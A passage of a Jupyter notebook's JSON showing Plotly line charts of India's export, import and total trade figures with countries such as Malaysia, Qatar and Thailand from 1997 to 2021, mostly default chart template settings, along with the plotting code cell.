158.03, - 209.1 - ] - }, - { - "mode": "lines", - "name": "MALAYSIA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 1668.84, - 1930.05, - 2396.5, - 1784.95, - 1907.23, - 2214.79, - 2939.31, - 3383.07, - 3577.47, - 6595.53, - 8588.16, - 10604.75, - 8012.19, - 10394.75, - 13454, - 14395.13, - 13427.8, - 16934.29, - 12790.66, - 14158.45, - 14713.14, - 17254.9, - 16146.94, - 14430.73, - 14305.2 - ] - }, - { - "mode": "lines", - "name": "MALDIVES", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 8.97, - 8.43, - 7.7, - 24.8, - 27.27, - 31.92, - 42.71, - 48.23, - 69.56, - 71.74, - 93.86, - 131.88, - 83.49, - 131.52, - 143.49, - 128.65, - 110.05, - 156.7, - 183.36, - 206.97, - 222.68, - 243.42, - 232.57, - 220.36, - 572.08 - ] - } - ], - "layout": { - "legend": { - "tracegroupgap": 0 - }, - "template": { - "data": { - "bar": [ - { - "error_x": { - "color": "#2a3f5f" - }, - "error_y": { - "color": "#2a3f5f" - }, - "marker": { - "line": { - "color": "#E5ECF6", - "width": 0.5 - }, - "pattern": { - "fillmode": "overlay", - "size": 10, - "solidity": 0.2 - } - }, - "type": "bar" - } - ], - "barpolar": [ - { - "marker": { - "line": { - "color": "#E5ECF6", - "width": 0.5 - }, - "pattern": { - "fillmode": "overlay", - "size": 10, - "solidity": 0.2 - } - }, - "type": "barpolar" - } - ], - "carpet": [ - { - "aaxis": { - "endlinecolor": "#2a3f5f", - "gridcolor": "white", - "linecolor": "white", - "minorgridcolor": "white", - "startlinecolor": "#2a3f5f" - }, - "baxis": { - "endlinecolor": "#2a3f5f", - "gridcolor": "white", - "linecolor": "white", - "minorgridcolor": "white", - "startlinecolor": "#2a3f5f" - }, - "type": "carpet" - } - ], - "choropleth": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "type": "choropleth" - } - ], - "contour": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "contour" - } - ], - "contourcarpet": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "type": "contourcarpet" - } - ], - "heatmap": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "heatmap" - } - ], - "heatmapgl": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "heatmapgl" - } - ], - "histogram": [ - { - "marker": { - "pattern": { - "fillmode": "overlay", - "size": 10, - "solidity": 0.2 - } - }, - "type": "histogram" - } - ], - "histogram2d": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "histogram2d" - } - ], - "histogram2dcontour": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "histogram2dcontour" - } - ], - "mesh3d": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "type": "mesh3d" - } - ], - "parcoords": [ - { - "line": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "parcoords" - } - ], - "pie": [ - { - "automargin": true, - "type": "pie" - } - ], - "scatter": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scatter" - } - ], - "scatter3d": [ - { - "line": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scatter3d" - } - ], - "scattercarpet": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scattercarpet" - } - ], - "scattergeo": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scattergeo" - } - ], - "scattergl": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scattergl" - } - ], - "scattermapbox": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scattermapbox" - } - ], - "scatterpolar": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scatterpolar" - } - ], - "scatterpolargl": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scatterpolargl" - } - ], - "scatterternary": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scatterternary" - } - ], - "surface": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "surface" - } - ], - "table": [ - { - "cells": { - "fill": { - "color": "#EBF0F8" - }, - "line": { - "color": "white" - } - }, - "header": { - "fill": { - "color": "#C8D4E3" - }, - "line": { - "color": "white" - } - }, - "type": "table" - } - ] - }, - "layout": { - "annotationdefaults": { - "arrowcolor": "#2a3f5f", - "arrowhead": 0, - "arrowwidth": 1 - }, - "autotypenumbers": "strict", - "coloraxis": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "colorscale": { - "diverging": [ - [ - 0, - "#8e0152" - ], - [ - 0.1, - "#c51b7d" - ], - [ - 0.2, - "#de77ae" - ], - [ - 0.3, - "#f1b6da" - ], - [ - 0.4, - "#fde0ef" - ], - [ - 0.5, - "#f7f7f7" - ], - [ - 0.6, - "#e6f5d0" - ], - [ - 0.7, - "#b8e186" - ], - [ - 0.8, - "#7fbc41" - ], - [ - 0.9, - "#4d9221" - ], - [ - 1, - "#276419" - ] - ], - "sequential": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "sequentialminus": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ] - }, - "colorway": [ - "#636efa", - "#EF553B", - "#00cc96", - "#ab63fa", - "#FFA15A", - "#19d3f3", - "#FF6692", - "#B6E880", - "#FF97FF", - "#FECB52" - ], - "font": { - "color": "#2a3f5f" - }, - "geo": { - "bgcolor": "white", - "lakecolor": "white", - "landcolor": "#E5ECF6", - "showlakes": true, - "showland": true, - "subunitcolor": "white" - }, - "hoverlabel": { - "align": "left" - }, - "hovermode": "closest", - "mapbox": { - "style": "light" - }, - "paper_bgcolor": "white", - "plot_bgcolor": "#E5ECF6", - "polar": { - "angularaxis": { - "gridcolor": "white", - "linecolor": "white", - "ticks": "" - }, - "bgcolor": "#E5ECF6", - "radialaxis": { - "gridcolor": "white", - "linecolor": "white", - "ticks": "" - } - }, - "scene": { - "xaxis": { - "backgroundcolor": "#E5ECF6", - "gridcolor": "white", - "gridwidth": 2, - "linecolor": "white", - "showbackground": true, - "ticks": "", - "zerolinecolor": "white" - }, - "yaxis": { - "backgroundcolor": "#E5ECF6", - "gridcolor": "white", - "gridwidth": 2, - "linecolor": "white", - "showbackground": true, - "ticks": "", - "zerolinecolor": "white" - }, - "zaxis": { - "backgroundcolor": "#E5ECF6", - "gridcolor": "white", - "gridwidth": 2, - "linecolor": "white", - "showbackground": true, - "ticks": "", - "zerolinecolor": "white" - } - }, - "shapedefaults": { - "line": { - "color": "#2a3f5f" - } - }, - "ternary": { - "aaxis": { - "gridcolor": "white", - "linecolor": "white", - "ticks": "" - }, - "baxis": { - "gridcolor": "white", - "linecolor": "white", - "ticks": "" - }, - "bgcolor": "#E5ECF6", - "caxis": { - "gridcolor": "white", - "linecolor": "white", - "ticks": "" - } - }, - "title": { - "x": 0.05 - }, - "xaxis": { - "automargin": true, - "gridcolor": "white", - "linecolor": "white", - "ticks": "", - "title": { - "standoff": 15 - }, - "zerolinecolor": "white", - "zerolinewidth": 2 - }, - "yaxis": { - "automargin": true, - "gridcolor": "white", - "linecolor": "white", - "ticks": "", - "title": { - "standoff": 15 - }, - "zerolinecolor": "white", - "zerolinewidth": 2 - } - } - }, - "title": { - "text": "EXPORT AND IMPORT Between India and Other Countries" - }, - "xaxis": { - "anchor": "y", - "domain": [ - 0, - 1 - ], - "title": { - "text": "Year" - } - }, - "yaxis": { - "anchor": "x", - "domain": [ - 0, - 1 - ], - "title": { - "text": "Total Trade" - } - } - } - }, - "text/html": [ - "
" - ] - }, - "metadata": {}, - "output_type": "display_data" - } - ], - "source": [ - "exp=px.line(x=df[df['Country']==country.index[20]]['Year(start)'], y=df[df['Country']==country.index[20]]['Export'], labels={'x': 'Year', 'y': 'Export'}, title='EXPORT')\n", - "for i in range(40,50):\n", - " exp.add_scatter(x=df[df['Country']==country.index[i]]['Year(start)'], y=df[df['Country']==country.index[i]]['Export'], mode='lines', name=country.index[i])\n", - "exp.show()\n", - "\n", - "imp=px.line(x=df[df['Country']==country.index[20]]['Year(start)'], y=df[df['Country']==country.index[20]]['Import'], labels={'x': 'Year', 'y': 'Import'}, title='IMPORT')\n", - "for i in range(40,50):\n", - " imp.add_scatter(x=df[df['Country']==country.index[i]]['Year(start)'], y=df[df['Country']==country.index[i]]['Import'], mode='lines', name=country.index[i])\n", - "imp.show()\n", - "\n", - "fig=px.line(x=df[df['Country']==country.index[20]]['Year(start)'], y=df[df['Country']==country.index[20]]['Total Trade'], labels={'x': 'Year', 'y': 'Total Trade'}, title='EXPORT AND IMPORT Between India and Other Countries')\n", - "for i in range(40,50):\n", - " fig.add_scatter(x=df[df['Country']==country.index[i]]['Year(start)'], y=df[df['Country']==country.index[i]]['Total Trade'], mode='lines', name=country.index[i])\n", - "fig.show()" - ] - }, - { - "cell_type": "code", - "execution_count": 22, - "id": "cbe1e2aa-3a9e-4951-8e33-bd0c91387f38", - "metadata": {}, - "outputs": [ - { - "data": { - "application/vnd.plotly.v1+json": { - "config": { - "plotlyServerURL": "https://plot.ly" - }, - "data": [ - { - "hovertemplate": "Year=%{x}
Export=%{y}", - "legendgroup": "", - "line": { - "color": "#636efa", - "dash": "solid" - }, - "marker": { - "symbol": "circle" - }, - "mode": "lines", - "name": "", - "orientation": "v", - "showlegend": false, - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "xaxis": "x", - "y": [ - 8.88, - 18.55, - 14.62, - 16.69, - 32.64, - 22.64, - 43.82, - 21.69, - 27.9, - 63.73, - 32.09, - 39.15, - 42.24, - 65.45, - 98.37, - 78.66, - 108.78, - 134.12, - 107.93, - 107.7, - 123.6, - 130.69, - 146.14, - 186.97, - 158.01 - ], - "yaxis": "y" - }, - { - "mode": "lines", - "name": "MALI", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 8.88, - 18.55, - 14.62, - 16.69, - 32.64, - 22.64, - 43.82, - 21.69, - 27.9, - 63.73, - 32.09, - 39.15, - 42.24, - 65.45, - 98.37, - 78.66, - 108.78, - 134.12, - 107.93, - 107.7, - 123.6, - 130.69, - 146.14, - 186.97, - 158.01 - ] - }, - { - "mode": "lines", - "name": "MALTA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 13.33, - 6.06, - 28.24, - 10.52, - 11.91, - 32.32, - 117.95, - 31.5, - 121.31, - 60.8, - 34.61, - 100.08, - 708.85, - 746.78, - 848.99, - 398.22, - 167.91, - 327.59, - 325.03, - 137.23, - 195.86, - 229.52, - 208.2, - 317.04, - 406.02 - ] - }, - { - "mode": "lines", - "name": "MARTINIQUE", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 1.88, - 2.11, - 3.8, - 1.82, - 0.98, - 1.2, - 0.59, - 0.53, - 0.84, - 2.11, - 1.99, - 44.31, - 5.55, - 4.87, - 6.46, - 5.88, - 7.68, - 6.15, - 4.44, - 4.13, - 4.42, - 3.58, - 3.81, - 4.25, - 4.53 - ] - }, - { - "mode": "lines", - "name": "MAURITANIA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 3.57, - 5.28, - 9.19, - 13.67, - 19.87, - 20.51, - 18.04, - 24.71, - 45.14, - 21.73, - 28.74, - 35.81, - 30.64, - 33.5, - 46.52, - 41.84, - 58.02, - 58.94, - 58.35, - 65.98, - 83.16, - 115.59, - 83.83, - 88.92, - 69.02 - ] - }, - { - "mode": "lines", - "name": "PORTUGAL", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 111.45, - 106.28, - 124.65, - 146.7, - 147.84, - 162.12, - 169.89, - 223.17, - 260.89, - 366.99, - 495.91, - 440.44, - 374.57, - 526.84, - 525.27, - 528.46, - 627, - 636.43, - 589.64, - 669.66, - 747.32, - 743.27, - 744.79, - 837.14, - 906.68 - ] - }, - { - "mode": "lines", - "name": "PUERTO RICO", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0.52, - 2.57, - 3.08, - 5.43, - 6.67, - 6.66, - 26.43, - 14.67, - 19.26, - 28.51, - 35.33, - 65.96, - 87.73, - 65, - 103.03, - 106.29, - 90.84, - 99.02, - 115, - 105.87, - 78.05, - 138.42, - 134.44, - 156.21, - 203.04 - ] - }, - { - "mode": "lines", - "name": "QATAR", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 44.07, - 40.16, - 35.56, - 63.63, - 49, - 96.1, - 128.44, - 209.42, - 259.34, - 331.53, - 538.73, - 674.37, - 536.97, - 375.39, - 807.95, - 687.18, - 969.06, - 1054.98, - 902.13, - 784.56, - 1471.88, - 1611.16, - 1268.35, - 1284.82, - 1319.14 - ] - }, - { - "mode": "lines", - "name": "U ARAB EMTS", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 1629.56, - 1867.59, - 2082.74, - 2597.52, - 2491.79, - 3327.48, - 5125.58, - 7347.88, - 8591.79, - 12021.77, - 15636.91, - 24477.48, - 23970.4, - 33822.39, - 35925.52, - 36316.65, - 30520.42, - 33028.08, - 30316.5, - 31175.5, - 28146.12, - 30126.73, - 28853.59, - 16679.54, - 20052.57 - ] - }, - { - "mode": "lines", - "name": "TANZANIA REP", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 68.93, - 85.41, - 81.98, - 101.99, - 90.78, - 115.46, - 175.78, - 173.88, - 243.45, - 288.4, - 588, - 1051.36, - 920.48, - 1474.81, - 1614.69, - 2152.25, - 3400.76, - 2484.61, - 1654.64, - 1783.57, - 1618.8, - 1704.04, - 1740.08, - 1439.06, - 1262.47 - ] - }, - { - "mode": "lines", - "name": "THAILAND", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 342.9, - 321, - 449.59, - 530.12, - 633.13, - 711.2, - 831.68, - 901.39, - 1075.31, - 1445.54, - 1810.87, - 1938.31, - 1740.16, - 2274.21, - 2961.01, - 3733.17, - 3703.27, - 3464.83, - 2987.86, - 3133.44, - 3653.83, - 4441.4, - 4299.3, - 4237.59, - 4045.83 - ] - } - ], - "layout": { - "legend": { - "tracegroupgap": 0 - }, - "template": { - "data": { - "bar": [ - { - "error_x": { - "color": "#2a3f5f" - }, - "error_y": { - "color": "#2a3f5f" - }, - "marker": { - "line": { - "color": "#E5ECF6", - "width": 0.5 - }, - "pattern": { - "fillmode": "overlay", - "size": 10, - "solidity": 0.2 - } - }, - "type": "bar" - } - ], - "barpolar": [ - { - "marker": { - "line": { - "color": "#E5ECF6", - "width": 0.5 - }, - "pattern": { - "fillmode": "overlay", - "size": 10, - "solidity": 0.2 - } - }, - "type": "barpolar" - } - ], - "carpet": [ - { - "aaxis": { - "endlinecolor": "#2a3f5f", - "gridcolor": "white", - "linecolor": "white", - "minorgridcolor": "white", - "startlinecolor": "#2a3f5f" - }, - "baxis": { - "endlinecolor": "#2a3f5f", - "gridcolor": "white", - "linecolor": "white", - "minorgridcolor": "white", - "startlinecolor": "#2a3f5f" - }, - "type": "carpet" - } - ], - "choropleth": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "type": "choropleth" - } - ], - "contour": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "contour" - } - ], - "contourcarpet": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "type": "contourcarpet" - } - ], - "heatmap": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "heatmap" - } - ], - "heatmapgl": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "heatmapgl" - } - ], - "histogram": [ - { - "marker": { - "pattern": { - "fillmode": "overlay", - "size": 10, - "solidity": 0.2 - } - }, - "type": "histogram" - } - ], - "histogram2d": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "histogram2d" - } - ], - "histogram2dcontour": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "histogram2dcontour" - } - ], - "mesh3d": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "type": "mesh3d" - } - ], - "parcoords": [ - { - "line": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "parcoords" - } - ], - "pie": [ - { - "automargin": true, - "type": "pie" - } - ], - "scatter": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scatter" - } - ], - "scatter3d": [ - { - "line": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scatter3d" - } - ], - "scattercarpet": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scattercarpet" - } - ], - "scattergeo": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scattergeo" - } - ], - "scattergl": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scattergl" - } - ], - "scattermapbox": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scattermapbox" - } - ], - "scatterpolar": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scatterpolar" - } - ], - "scatterpolargl": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scatterpolargl" - } - ], - "scatterternary": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scatterternary" - } - ], - "surface": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "surface" - } - ], - "table": [ - { - "cells": { - "fill": { - "color": "#EBF0F8" - }, - "line": { - "color": "white" - } - }, - "header": { - "fill": { - "color": "#C8D4E3" - }, - "line": { - "color": "white" - } - }, - "type": "table" - } - ] - }, - "layout": { - "annotationdefaults": { - "arrowcolor": "#2a3f5f", - "arrowhead": 0, - "arrowwidth": 1 - }, - "autotypenumbers": "strict", - "coloraxis": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "colorscale": { - "diverging": [ - [ - 0, - "#8e0152" - ], - [ - 0.1, - "#c51b7d" - ], - [ - 0.2, - "#de77ae" - ], - [ - 0.3, - "#f1b6da" - ], - [ - 0.4, - "#fde0ef" - ], - [ - 0.5, - "#f7f7f7" - ], - [ - 0.6, - "#e6f5d0" - ], - [ - 0.7, - "#b8e186" - ], - [ - 0.8, - "#7fbc41" - ], - [ - 0.9, - "#4d9221" - ], - [ - 1, - "#276419" - ] - ], - "sequential": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "sequentialminus": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ] - }, - "colorway": [ - "#636efa", - "#EF553B", - "#00cc96", - 